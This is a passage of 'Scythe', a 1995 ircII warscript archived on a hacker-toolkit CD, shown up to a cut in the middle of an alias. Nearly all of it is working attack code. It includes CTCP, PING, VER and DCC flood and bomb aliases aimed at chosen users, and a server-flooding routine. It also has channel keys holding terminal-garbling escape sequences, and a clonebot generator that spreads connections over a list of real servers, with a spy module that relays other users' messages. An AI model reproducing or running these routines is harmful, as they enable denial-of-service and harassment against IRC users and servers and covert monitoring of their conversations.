home *** CD-ROM | disk | FTP | other *** search
/ Hackers Toolkit v2.0 / Hackers_Toolkit_v2.0.iso / HTML / archive / IRC / scythe.irc < prev    next >
Text File  |  1999-11-04  |  58KB  |  1,421 lines

  1. #
  2. #           - + Scythe IRC Warscript from Vassago Version C + -
  3. #                    - + Released March 25th, 1995 + -
  4. #
  5. #  This is a standalone version of my original PHOENIX.WAR from PhoEniX
  6. #  Version 2.01, with many enhancements added. It should work fine with 
  7. #  any script (I hope :). This script will work with all 2.2.9 IRCII 
  8. #  clients and ascending versions. Users of IRCII 2.3.17 and variations 
  9. #  may experience some problems using this script. Scythe may or may not 
  10. #  work correctly on VMS/VAX systems. This script has NO version message
  11. #  additions, so the only person who knows you are running it will be you.
  12. #
  13. #  Please do NOT use this script unless you get it directly from my
  14. #  jcowan.reslife.okstate.edu FTP site. I only guarantee my scripts to be 
  15. #  free from backdoors IF THEY ARE DOWNLOADED DIRECTLY from this site.
  16. #  
  17. #  - Vassago (Ryan Addams)
  18. #    [mordy@wentz415.reslife.okstate.edu]
  19. #
  20.  
  21. alias sxecho {^xecho -level crap [S/X] $0-}
  22.  
  23. echo [S/X] Loading Vassago's SCYTHE, one moment please...
  24.  
  25. # Defaults for flash & nuke used in NUKE, FLASH, SNUKE, MASSFLASH, MFLASH.
  26. # If you want to specify a different directory for these, do so here.
  27.  
  28. assign flash_pgm flash
  29. assign mflash_pgm mflash
  30. assign nuke_pgm nuke
  31.  
  32. # Servers for use as RANDOM servers in the /CLONEBOTS CLONE command.
  33. # These should all allow connections from your host.
  34.  
  35. assign CSERV[1] bazooka.rutgers.edu
  36. assign CSERV[2] irc.uiuc.edu
  37. assign CSERV[3] irc.escape.com
  38. assign CSERV[4] irc-2.texas.edu
  39. assign CSERV[5] irc.indiana.edu
  40. assign CSERV[6] cs-pub.bu.edu
  41. assign CSERV[7] alfred1.u.washington.edu
  42. assign CSERV[8] organ.ctr.columbia.edu
  43. assign CSERV[9] irc.funet.fi
  44. assign CSERV[10] irc-2.mit.edu
  45.  
  46. @ cservnum = 11
  47.  
  48. ### Other Default Assigns
  49.  
  50. assign CLONEUNAME NONE
  51. assign CLONEPORT 6667
  52. assign CLONEWINDOW OFF
  53.  
  54. assign TSU ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
  55.  
  56. ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
  57.  
  58. assign RCRAPCRAP abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789a
  59.  
  60. @ SERVCOUNT = 1
  61. @ NUMCLONES = 0
  62.  
  63. alias randcrap {
  64.   @ RCOUNTER = 1
  65.   while (RCOUNTER < [$0]) {
  66.     @ RCOUNTER = RCOUNTER + 1
  67.     EVAL ^assign RCRAP $MID($rand(62) 1 $RCRAPCRAP)${RCRAP}
  68.   }
  69.   EVAL ^assign RCRAP $MID($rand(25) 1 $RCRAPCRAP)${RCRAP}
  70.   ^assign FUNCTION_RETURN $RCRAP
  71.   ^assign -RCRAP
  72. }
  73.  
  74. alias repeatcmd {
  75.   @ RCOUNT = 0
  76.   while (RCOUNT < [$0]) {
  77.     @ RCOUNT = RCOUNT + 1
  78.     /$1-
  79.   }
  80.   ^assign -RCOUNT
  81. }
  82.  
  83. ^set NOVICE OFF
  84. ^set EXEC_PROTECTION OFF
  85.  
  86. on ^dcc_raw "*" #
  87. on ^dcc_raw "% % D *PIN*" {//^dcc raw $0 $1 PONG :$1}
  88.  
  89. ### Miscellaneous Floods
  90.  
  91. alias toolzbomb {
  92.   quote PRIVMSG $0 :TOOLZTOOLZTOOLZTOOLZTOOLZTOOLZTOOLZTOOLZTOOLZTOOLZTOOLZTOOLZTOOLZTOOLZTOOLZTOOLZTOOLZTOOLZTOOLZTOOLZTOOLZTOOLZTOOLZTOOLZTOOLZTOOLZTOOLZTOOLZTOOLZTOOLZ
  93.   quote PRIVMSG $0 :TOOLZTOOLZTOOLZTOOLZTOOLZTOOLZTOOLZTOOLZTOOLZTOOLZTOOLZTOOLZTOOLZTOOLZTOOLZTOOLZTOOLZTOOLZTOOLZTOOLZTOOLZTOOLZTOOLZTOOLZTOOLZTOOLZTOOLZTOOLZTOOLZTOOLZ
  94.   quote PRIVMSG $0 :TOOLZTOOLZTOOLZTOOLZTOOLZTOOLZTOOLZTOOLZTOOLZTOOLZTOOLZTOOLZTOOLZTOOLZTOOLZTOOLZTOOLZTOOLZTOOLZTOOLZTOOLZTOOLZTOOLZTOOLZTOOLZTOOLZTOOLZTOOLZTOOLZTOOLZ
  95.   quote PRIVMSG $0 :TOOLZTOOLZTOOLZTOOLZTOOLZTOOLZTOOLZTOOLZTOOLZTOOLZTOOLZTOOLZTOOLZTOOLZTOOLZTOOLZTOOLZTOOLZTOOLZTOOLZTOOLZTOOLZTOOLZTOOLZTOOLZTOOLZTOOLZTOOLZTOOLZTOOLZ
  96.   quote PRIVMSG $0 :TOOLZTOOLZTOOLZTOOLZTOOLZTOOLZTOOLZTOOLZTOOLZTOOLZTOOLZTOOLZTOOLZTOOLZTOOLZTOOLZTOOLZTOOLZTOOLZTOOLZTOOLZTOOLZTOOLZTOOLZTOOLZTOOLZTOOLZTOOLZTOOLZTOOLZ
  97.   /sxecho ToolZ bombed $0\, you might get a lot of replies.
  98. }
  99.  
  100. alias multiflood {
  101.   /quote PRIVMSG $0 :AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
  102.   /quote PRIVMSG $0 :USERINFOUSERINFOUSERINFOUSERINFOUSERINFOUSERINFOUSERINFOUSERINFOUSERINFOUSERINFOUSERINFOUSERINFOUSERINFOUSERINFOUSERINFOUSERINFOUSERINFOUSERINFOUSERINFOUSERINFOUSERINFO
  103.   /quote PRIVMSG $0 :AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
  104.   /quote PRIVMSG $0 :USERINFOUSERINFOUSERINFOUSERINFOUSERINFOUSERINFOUSERINFOUSERINFOUSERINFOUSERINFOUSERINFOUSERINFOUSERINFOUSERINFOUSERINFOUSERINFOUSERINFOUSERINFOUSERINFOUSERINFOUSERINFO
  105.   /quote PRIVMSG $0 :AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
  106.   /quote PRIVMSG $0 :SEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSED
  107.   /quote PRIVMSG $0 :PINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPING
  108.   /sxecho Multiple flooded $0\, you might get a lot of replies.
  109. }
  110.  
  111. alias verflood {
  112.   quote PRIVMSG $0 :VERVERVERVERVERVERVERVERVERVERVERVERVERVERVERVERVERVERVERVERVERVERVERVERVERVERVERVERVERVERVERVERVERVERVERVERVERVERVERVER
  113.   quote PRIVMSG $0 :VERVERVERVERVERVERVERVERVERVERVERVERVERVERVERVERVERVERVERVERVERVERVERVERVERVERVERVERVERVERVERVERVERVERVERVERVERVERVERVER
  114.   quote PRIVMSG $0 :VERVERVERVERVERVERVERVERVERVERVERVERVERVERVERVERVERVERVERVERVERVERVERVERVERVERVERVERVERVERVERVERVERVERVERVERVERVERVERVER
  115.   quote PRIVMSG $0 :VERVERVERVERVERVERVERVERVERVERVERVERVERVERVERVERVERVERVERVERVERVERVERVERVERVERVERVERVERVERVERVERVERVERVERVERVERVERVERVER
  116.   quote PRIVMSG $0 :VERVERVERVERVERVERVERVERVERVERVERVERVERVERVERVERVERVERVERVERVERVERVERVERVERVERVERVERVERVERVERVERVERVERVERVERVERVERVERVER
  117.   /sxecho VER flooded $0\, you might get a lot of replies.
  118. }
  119.  
  120. alias pingflood {
  121.   quote PRIVMSG $0 :PINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPING
  122.   quote PRIVMSG $0 :PINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPING
  123.   quote PRIVMSG $0 :PINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPING
  124.   quote PRIVMSG $0 :PINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPING
  125.   quote PRIVMSG $0 :PINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPING
  126.   /sxecho PING flooded $0\, you might get a lot of replies.
  127. }
  128.  
  129. alias pongflood {
  130.    repeatcmd 4 EVAL /quote PONG $TSU :$0
  131.    sxecho PONG flood sent to $0\.
  132. }
  133.  
  134. alias sedflood {
  135.   quote PRIVMSG $0 :SEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSED
  136.   quote PRIVMSG $0 :SEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSED
  137.   quote PRIVMSG $0 :SEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSED
  138.   quote PRIVMSG $0 :SEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSED
  139.   quote PRIVMSG $0 :SEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSED
  140.   /sxecho I have CTCP SED flooded $0\.
  141. }
  142.  
  143. alias tsunami {
  144.   EVAL repeatcmd 4 quote PRIVMSG $0 :$TSU
  145.   sxecho I have tsunamied $0\.
  146. }
  147.  
  148. alias dccbomb {
  149.   quote PRIVMSG $0 :DCC SEND trsiult9_1.zip $rand(99999999) 19 6667
  150.   quote PRIVMSG $0 :DCC SEND trsiult9_2.zip $rand(99999999) 19 6667
  151.   quote PRIVMSG $0 :DCC SEND trsiult9_3.zip $rand(99999999) 19 6667
  152.   quote PRIVMSG $0 :DCC SEND trsiult9_4.zip $rand(99999999) 19 6667
  153.   quote PRIVMSG $0 :DCC SEND trsiult9_5.zip $rand(99999999) 19 6667
  154.   quote PRIVMSG $0 :DCC SEND trsiult9_6.zip $rand(99999999) 19 6667
  155.   quote PRIVMSG $0 :DCC SEND trsiult9_7.zip $rand(99999999) 19 6667
  156.   quote PRIVMSG $0 :DCC SEND trsiult9_8.zip $rand(99999999) 19 6667
  157.   quote PRIVMSG $0 :DCC SEND trsiult9_9.zip $rand(99999999) 19 6667
  158.   quote PRIVMSG $0 :DCC SEND trsiult9_10.zip $rand(99999999) 19 6667
  159.   /sxecho I have DCC autoget bombed $0\.
  160. }
  161.  
  162. alias dccflood {
  163.   quote PRIVMSG $0 :DCC CHAT $rand(9999) $rand(99) $rand(99)DCC CHAT $rand(9999) $rand(99) $rand(99)DCC CHAT $rand(9999) $rand(99) $rand(99)DCC CHAT $rand(9999) $rand(99) $rand(99)DCC CHAT $rand(9999) $rand(99) $rand(99)DCC CHAT $rand(9999) $ra
  164.  
  165. nd(99) $rand(99)DCC CHAT $rand(9999) $rand(99) $rand(99)
  166.   quote PRIVMSG $0 :DCC CHAT $rand(9999) $rand(99) $rand(99)DCC CHAT $rand(9999) $rand(99) $rand(99)DCC CHAT $rand(9999) $rand(99) $rand(99)DCC CHAT $rand(9999) $rand(99) $rand(99)DCC CHAT $rand(9999) $rand(99) $rand(99)DCC CHAT $rand(9999) $ra
  167.  
  168. nd(99) $rand(99)DCC CHAT $rand(9999) $rand(99) $rand(99)
  169.   quote PRIVMSG $0 :DCC CHAT $rand(9999) $rand(99) $rand(99)DCC CHAT $rand(9999) $rand(99) $rand(99)DCC CHAT $rand(9999) $rand(99) $rand(99)DCC CHAT $rand(9999) $rand(99) $rand(99)DCC CHAT $rand(9999) $rand(99) $rand(99)DCC CHAT $rand(9999) $ra
  170.  
  171. nd(99) $rand(99)DCC CHAT $rand(9999) $rand(99) $rand(99)
  172.   quote PRIVMSG $0 :DCC CHAT $rand(9999) $rand(99) $rand(99)DCC CHAT $rand(9999) $rand(99) $rand(99)DCC CHAT $rand(9999) $rand(99) $rand(99)DCC CHAT $rand(9999) $rand(99) $rand(99)DCC CHAT $rand(9999) $rand(99) $rand(99)DCC CHAT $rand(9999) $ra
  173.  
  174. nd(99) $rand(99)DCC CHAT $rand(9999) $rand(99) $rand(99)
  175.   quote PRIVMSG $0 :DCC CHAT $rand(9999) $rand(99) $rand(99)DCC CHAT $rand(9999) $rand(99) $rand(99)DCC CHAT $rand(9999) $rand(99) $rand(99)DCC CHAT $rand(9999) $rand(99) $rand(99)DCC CHAT $rand(9999) $rand(99) $rand(99)DCC CHAT $rand(9999) $ra
  176.  
  177. nd(99) $rand(99)DCC CHAT $rand(9999) $rand(99) $rand(99)
  178.   /sxecho I have DCC flooded $0\.
  179. }
  180.  
  181. alias dcctsunami {
  182.   /quote PRIVMSG $0 :DCC SEND $TSU$rand(9) $rand(9) $rand(9)
  183.   /quote PRIVMSG $0 :DCC SEND $TSU$rand(9) $rand(9) $rand(9)
  184.   /quote PRIVMSG $0 :DCC SEND $TSU$rand(9) $rand(9) $rand(9)
  185.   /quote PRIVMSG $0 :DCC SEND $TSU$rand(9) $rand(9) $rand(9)
  186.   /sxecho A DCC TSUNAMI has been sent to $0\.
  187. }
  188.  
  189. alias ctcpflood {
  190.   /repeatcmd 18 CTCP $0 CLIENTINFOCLIENTINFO
  191.   /sxecho CTCP CLIENTINFO flooded $0\, you might get a lot of replies.
  192. }
  193.  
  194. alias nickflood {
  195.   EVAL ^assign OLDNICK $N
  196.     @ NFCOUNTER = 0
  197.     EVAL @ NFCOUNT = $0
  198.     while (NFCOUNTER < NFCOUNT) {
  199.      @ NFCOUNTER = NFCOUNTER + 1
  200.      EVAL quote NICK $randcrap(9)
  201.     }
  202.     ^assign -NFCOUNT
  203.     ^assign -NFCOUNTER
  204.   EVAL //nick $OLDNICK
  205.   ^assign -OLDNICK
  206. }
  207.  
  208. alias servflood {
  209.   if (rmatch($0 *.*)) {
  210.     @ SFLOODC = 0
  211.     EVAL @ SFLOODMAX = $1
  212.     while (SFLOODC < SFLOODMAX) {
  213.      @ SFLOODC = SFLOODC + 1
  214.     ^set display off
  215.      EVAL ^assign SERVPID $connect($0 6667)
  216.     ^set display on
  217.      EVAL //^dcc raw $SERVPID $0 SERVER $TSU$TSU # # :$encode($rand(9999))$rand(9)
  218.      //^dcc close raw $SERVPID
  219.      }
  220.     ^assign -SERVPID
  221.     ^assign -SFLOODC
  222.     ^assign -SFLOODMAX
  223.     /sxecho Server flooded $0 $1 times.
  224.     }
  225.     {/sxecho /servflood <server> <count>.}
  226. }
  227.  
  228. ### Channel Keybombs
  229.  
  230. alias kdie //mode $C +k #8?3\;5h\(0
  231. alias kfont //mode $C +k \(0
  232. alias kinvert //mode $C +k ?3\;5h
  233. alias ksz //mode $C +k **B00
  234. alias kcls //mode $C +k 
  235. alias kfire //mode $C +k \;5mFIRE!
  236. alias ksatan //mode $C +k \;5m!!S4T4N!!
  237. alias kreset //mode $C +k 
  238. alias ktsunami //mode $C +k H
  239.  
  240. ### Clonebot Control Handlers
  241.  
  242. alias ck /clonebots kill all
  243.  
  244. alias clone_window {
  245.   if ([$CLONEWINDOW]!=[ON]) {
  246.     ^assign CLONEWINDOW ON
  247.     clear
  248.     ^window new name Clones
  249.     ^window scroll on
  250.     ^window shrink 7
  251.     ^set hold_mode off
  252.     ^window goto 2
  253.      cecho Clonebot control window has been activated.
  254.   }
  255.   {
  256.     ^assign CLONEWINDOW OFF
  257.      clear
  258.     ^window refnum Clones
  259.      wait -CMD window kill
  260.      sxecho Clonebot control window has been deactivated.
  261.   }
  262. }
  263.  
  264. alias cecho {^xecho -window Clones [CLONES] $0-}
  265.  
  266. alias cb.getcc {
  267.    ^assign IN_CC1 $"[S/X] Number of clonebots to create: "
  268.    if (IN_CC1 > 0) {
  269.       ^assign IN_CC $IN_CC1
  270.       ^assign -IN_CC1
  271.    }
  272.    {^cb.getcc}
  273. }
  274.  
  275. alias cb {
  276.    ^cb.getcc
  277.    ^assign IN_CBSRV $"[S/X] Server to use (ENTER for random): "
  278.    ^assign IN_CNICK $"[S/X] First part of clonebot nicks (ENTER for random):"
  279.    ^assign IN_CUNAME $"[S/X] Username to TRY to signon under (ENTER for junk):"
  280.    ^assign IN_CIRCNAME $"[S/X] Description (IRCNAME) (ENTER for none): "
  281.    if ([$IN_CBSRV]==[]) {^assign IN_CBSRV random}
  282.    if ([$IN_CNICK]==[]) {^assign IN_CNICK random}
  283.    if ([$IN_CUNAME]==[]) {^assign CLONEUNAME NONE}
  284.    {^assign CLONEUNAME $IN_CUNAME}
  285.    /clonebots clone $IN_CC $IN_CBSRV $IN_CNICK $IN_CIRCNAME
  286.    ^assign CLONEUNAME NONE
  287.    ^assign -IN_CC
  288.    ^assign -IN_CBSRV
  289.    ^assign -IN_CNICK
  290.    ^assign -IN_CIRCNAME
  291.    ^assign -IN_CUNAME
  292. }
  293.  
  294. alias clonhelp {
  295.   sxecho +----------------+ Scythe Clonebots Generator Help +----------------+
  296.   sxecho  /clonebots <command>, where command is:
  297.   sxecho    clone <count> <server/random> <nick-prefix/random> [<IRCName>]
  298.   sxecho    status, kill <bot#/all>, whois <bot nick>
  299.   sxecho  CLONE creates <count> new clonebots on <server>.  Substituting
  300.   sxecho  'random' for the server name causes the servers to be chosen from
  301.   sxecho  CSERV array at the start of the script. Edit this array if you want
  302.   sxecho  to change the choices.  Substituting 'random' for the nick-prefix
  303.   sxecho  causes the bots to have random garbage nick.
  304.   sxecho  STATUS displays the bots online, their servers, sockets, etc.
  305.   sxecho  KILL disconnects a clonebot.  Kill 'all' disconnects all clonebots
  306.   sxecho  and resets the clonebot counter.
  307.   sxecho  WHOIS displays information about one of your bots from it's nick.
  308.   sxecho  Type '/assign CLONEUNAME <username>' to set a special username for
  309.   sxecho  the clonebots to signon under (setting to NONE defaults to random).
  310.   sxecho  '/assign CLONEPORT <port#>' sets the port, default is 6667.
  311.   sxecho  /CB provides a user-friendly prompted interface to this command.
  312.   sxecho  /CK is a shortcut to /clonebots kill all.
  313.   sxecho  To control the clonebots, use the /CLONE command.
  314.   sxecho +-------------------------------------------------------------------+
  315. }
  316.  
  317. on ^dcc_raw "% % C*" {
  318.    if ([$CLONESOCKET[$CLONENUM[$0]]] == [$0]) {
  319.       cecho Clonebot #$CLONENUM[$0] \($CLONENICKS[$CLONENUM[$0]]\) has been disconnected by server $1.
  320.      ^assign -CLONES[$CLONENUM[$0]]
  321.      ^assign -CLONESOCKET[$CLONENUM[$0]]
  322.      ^assign -CLONESERV[$CLONENUM[$0]]
  323.      ^assign -CLONENICKS[$CLONENUM[$0]]
  324.      ^assign -CLONESPY[$CLONENUM[$0]]
  325.       EVAL ^on dcc_raw - "$0 $1 D *"
  326.      ^assign -CLONENUM[$0]
  327.    }
  328. }
  329.  
  330. alias cspyadd {
  331.     if ([$index($1 $CLONESPY[$0])]==-1) {^assign CLONESPY[$0] $1${CLONESPY[$0]}}
  332. }
  333.  
  334. alias cspyrm {/EVAL ^assign CLONESPY[$0] $strip($1 $CLONESPY[$0])}
  335.  
  336. alias clonespyset {
  337.   if ([$CLONES[$0]] == [ONLINE]) {
  338.      if (rmatch($1 PU*)) {^cspyadd $0 P}
  339.      if (rmatch($1 -PU*)) {^cspyrm $0 P}
  340.      if (rmatch($1 PR*)) {^cspyadd $0 R}
  341.      if (rmatch($1 -PR*)) {^cspyrm $0 R}
  342.      if (rmatch($1 NO*)) {^cspyadd $0 N}
  343.      if (rmatch($1 -NO*)) {^cspyrm $0 N}
  344.      if (rmatch($1 MO*)) {^cspyadd $0 O}
  345.      if (rmatch($1 -MO*)) {^cspyrm $0 O}
  346.      if (rmatch($1 K*)) {^cspyadd $0 K}
  347.      if (rmatch($1 -K*)) {^cspyrm $0 K}
  348.      if (rmatch($1 J*)) {^cspyadd $0 J}
  349.      if (rmatch($1 -J*)) {^cspyrm $0 J}
  350.      if (rmatch($1 NI*)) {^cspyadd $0 I}
  351.      if (rmatch($1 -NI*)) {^cspyrm $0 I}
  352.      if (rmatch($1 MI*)) {^cspyadd $0 M}
  353.      if (rmatch($1 -MI*)) {^cspyrm $0 M}
  354.      if (rmatch($1 C*)) {^cspyadd $0 C}
  355.      if (rmatch($1 -C*)) {^cspyrm $0 C}
  356.     }
  357.     {/cecho Error: Clone #$0, no such clone.}
  358. }
  359.  
  360. alias cspylevs {
  361.   if ([$CLONESPY[$0]] == [_]) {^assign FUNCTION_RETURN NONE}
  362.   {
  363.      if (index(M $CLONESPY[$0]) != -1) {^assign SLEVS MISC ${SLEVS}}
  364.      if (index(I $CLONESPY[$0]) != -1) {^assign SLEVS NICK ${SLEVS}}
  365.      if (index(J $CLONESPY[$0]) != -1) {^assign SLEVS JOIN/LEAVE/SIGNOFF ${SLEVS}}
  366.      if (index(K $CLONESPY[$0]) != -1) {^assign SLEVS KICK ${SLEVS}}
  367.      if (index(O $CLONESPY[$0]) != -1) {^assign SLEVS MODE ${SLEVS}}
  368.      if (index(N $CLONESPY[$0]) != -1) {^assign SLEVS NOTICE ${SLEVS}}
  369.      if (index(R $CLONESPY[$0]) != -1) {^assign SLEVS PRIVATE ${SLEVS}}
  370.      if (index(P $CLONESPY[$0]) != -1) {^assign SLEVS PUBLIC ${SLEVS}}
  371.      if (index(C $CLONESPY[$0]) != -1) {^assign SLEVS CTCP ${SLEVS}}
  372.      ^assign FUNCTION_RETURN $SLEVS
  373.      ^assign -SLEVS
  374.    }
  375. }
  376.  
  377. alias cshelp {
  378.     sxecho +-----------+  Scythe DCC RAW Clonebot Spy Controller  +-----------+
  379.     sxecho  Usage: /clonespy <clone#/all> <level(s)/all>, or
  380.     sxecho         /clonespy <clone#/all> to see status.
  381.     sxecho  Levels: ALL(sets all levels) PUblic PRivate NOtice MOde Kick
  382.     sxecho          Join/leave/signoff NIck MIsc Ctcp NONE \(removes all levels\)
  383.     sxecho  Only the letters shown capitalized are necessary.  <level> adds a
  384.     sxecho  level, -<level> removes.
  385.     sxecho  The Misc level is for anything significant that isn't covered by
  386.     sxecho  the other levels.  Right now this is only used for who lists.
  387.     sxecho  /clone <clone#/all> who #channel' will get you a who list if you
  388.     sxecho  have Misc set.
  389.     sxecho  Be careful when flooding with spy modes set, or the clones may
  390.     sxecho  report the flood right back to you.
  391.     sxecho +------------------------------------------------------------------+
  392. }
  393.  
  394. alias clonespy {
  395.   if ([$0]) {
  396.     if ([$0] == [ALL]) {/foreach CLONES VV {/clonespy $VV $1-}}
  397.     {
  398.        if ([$CLONES[$0]] == [ONLINE]) {
  399.         if ([$1] == [ALL]) {
  400.           ^assign CLONESPY[$0] PRNOKJIMC
  401.            EVAL ^on ^dcc_raw "$CLONESOCKET[$0] $CLONESERV[$0] D *" {/clonespyparse $0-}
  402.         }
  403.         {
  404.           if ([$1] == [NONE]) {
  405.             ^assign CLONESPY[$0] _
  406.             EVAL ^on dcc_raw - "$CLONESOCKET[$0] $CLONESERV[$0] D *"
  407.           }
  408.           {
  409.             ^clonespyset $0 $1
  410.              EVAL ^on ^dcc_raw "$CLONESOCKET[$0] $CLONESERV[$0] D *" {/clonespyparse $0-}
  411.           }
  412.         }
  413.         /cecho Clone #$0 spy levels now: $cspylevs($0)
  414.        }
  415.       {/cecho Error: Clone #$0, no such clone.}
  416.      }
  417.     }
  418.     {/cshelp}
  419.   if ([$2]) {/clonespy $0 $2-}
  420. }
  421.  
  422. alias clonespyparse.messageparse {
  423.   if ([$4] == [PRIVMSG]) {
  424.     if (rmatch($6- **)) {
  425.       if (index(C $CLONESPY[$CN]) != -1) {/xecho -window Clones [${CN}:${CLONENICKS[$CN]}] CTCP "$strip(: $6-)" from $nickonly($strip(: $3)) to $5}
  426.     }
  427.     {
  428.       if (rmatch($5 #*)) {
  429.         if (index(P $CLONESPY[$CN]) != -1) {/xecho -window Clones [${CN}:${CLONENICKS[$CN]}] <$nickonly($strip(: $3)):$5> $strip(: $6-)}
  430.       }
  431.       {
  432.         if (index(R $CLONESPY[$CN]) != -1) {/xecho -window Clones [${CN}:${CLONENICKS[$CN]}] *$nickonly($strip(: $3))* $strip(: $6-)}
  433.       }
  434.     }
  435.   }
  436.   if ([$4] == [NOTICE]) {
  437.     if (rmatch($6- **)) {
  438.       if (index(C $CLONESPY[$CN]) != -1) {/xecho -window Clones [${CN}:${CLONENICKS[$CN]}] CTCP "$strip(: $6-)" reply from $nickonly($strip(: $3))}
  439.     }
  440.     {
  441.       if (rmatch($5 #*)) {
  442.         if (index(P $CLONESPY[$CN]) != -1) {/xecho -window Clones [${CN}:${CLONENICKS[$CN]}] -$nickonly($strip(: $3)):$5\- $strip(: $6-)}
  443.       }
  444.       {
  445.         if (index(N $CLONESPY[$CN]) != -1) {/xecho -window Clones [${CN}:${CLONENICKS[$CN]}] -$nickonly($strip(: $3))- $strip(: $6-)}
  446.       }
  447.     }
  448.   }
  449. }
  450.  
  451. alias clonespyparse {
  452.   if ([$CLONES[$CLONENUM[$0]]] == [ONLINE]) {
  453.      EVAL @ CN = $CLONENUM[$0]
  454.      if (rmatch($3 *PING*)) {//^dcc raw $0 $1 PONG :$CLONESERV[$CN]}
  455.     ^clonespyparse.messageparse $0-
  456.      if ((index(I $CLONESPY[$CN]) != -1)&&([$4] == [NICK])) {/xecho -window Clones [${CN}:${CLONENICKS[$CN]}] $nickonly($strip(: $3)) is now known as $strip(: $5)}
  457.      if (([$4] == [JOIN])&&(index(J $CLONESPY[$CN]) != -1)) {/xecho -window Clones [${CN}:${CLONENICKS[$CN]}] $strip(: $3) has joined channel $strip(: $5)}
  458.      if (([$4] == [MODE])&&(index(O $CLONESPY[$CN]) != -1)) {/xecho -window Clones [${CN}:${CLONENICKS[$CN]}] Mode change "$strip(: $6-)" on channel $5 by $nickonly($strip(: $3))}
  459.      if (([$4] == [QUIT])&&(index(J $CLONESPY[$CN]) != -1)) {/xecho -window Clones [${CN}:${CLONENICKS[$CN]}] Signoff: $nickonly($strip(: $3)) \($strip(: $5-)\)}
  460.      if (([$4] == [PART])&&(index(J $CLONESPY[$CN]) != -1)) {/xecho -window Clones [${CN}:${CLONENICKS[$CN]}] $nickonly($strip(: $3)) has left channel $strip(: $5)}
  461.      if (([$4] == [KICK])&&(index(K $CLONESPY[$CN]) != -1)) { 
  462.        if ([$6] == [$CLONENICKS[$CN]]) {/xecho -window Clones [${CN}:${CLONENICKS[$CN]}] $6 has been kicked off channel $5 by $nickonly($strip(: $3)) \($strip(: $7-)\)}
  463.        {/xecho -window Clones [${CN}:${CLONENICKS[$CN]}] $6 has been kicked off channel $5 by $nickonly($strip(: $3)) \($strip(: $7-)\)}
  464.      }
  465.     if (([$4] == [352])&&(index(M $CLONESPY[$CN]) != -1)) {/xecho -window Clones [${CN}:${CLONENICKS[$CN]}] $6    $10       $11  $7@$8 \($strip( $13-)\)}
  466.     ^assign -CN
  467.   }
  468. }
  469.  
  470. alias killclone {
  471.   if ([$CLONES[$0]] == [ONLINE]) {
  472.     //^dcc close raw $CLONESOCKET[$0]
  473.     cecho Clonebot #$0 \($CLONENICKS[$0]\) disconnected.
  474.     EVAL ^on dcc_raw - "$CLONESOCKET[$0] $CLONESERV[$0] D *"
  475.     EVAL ^assign -CLONENUM[$CLONESOCKET[$0]]
  476.     ^assign -CLONESOCKET[$0]
  477.     ^assign -CLONESERV[$0]
  478.     ^assign -CLONES[$0]
  479.     ^assign -CLONENICKS[$0]
  480.     ^assign -CLONESPY[$0]
  481.   }
  482.   {/cecho Error: Clone #$0, no such clone.}
  483. }
  484.  
  485. alias clonesend {
  486.    if ([$CLONES[$0]] == [ONLINE]) {//^dcc raw $CLONESOCKET[$0] $CLONESERV[$0] $1-}
  487.    {/cecho Error: Clone #$0, no such clone.}
  488. }
  489.  
  490. alias clonenick {
  491.    if ([$CLONES[$0]] == [ONLINE]) {
  492.      //^dcc raw $CLONESOCKET[$0] $CLONESERV[$0] NICK $1
  493.      ^assign CLONENICKS[$0] $1
  494.    }
  495.    {/cecho Error: Clone #$0, no such clone.}
  496. }
  497.  
  498. alias incserv {
  499.    @ SERVCOUNT = SERVCOUNT + 1
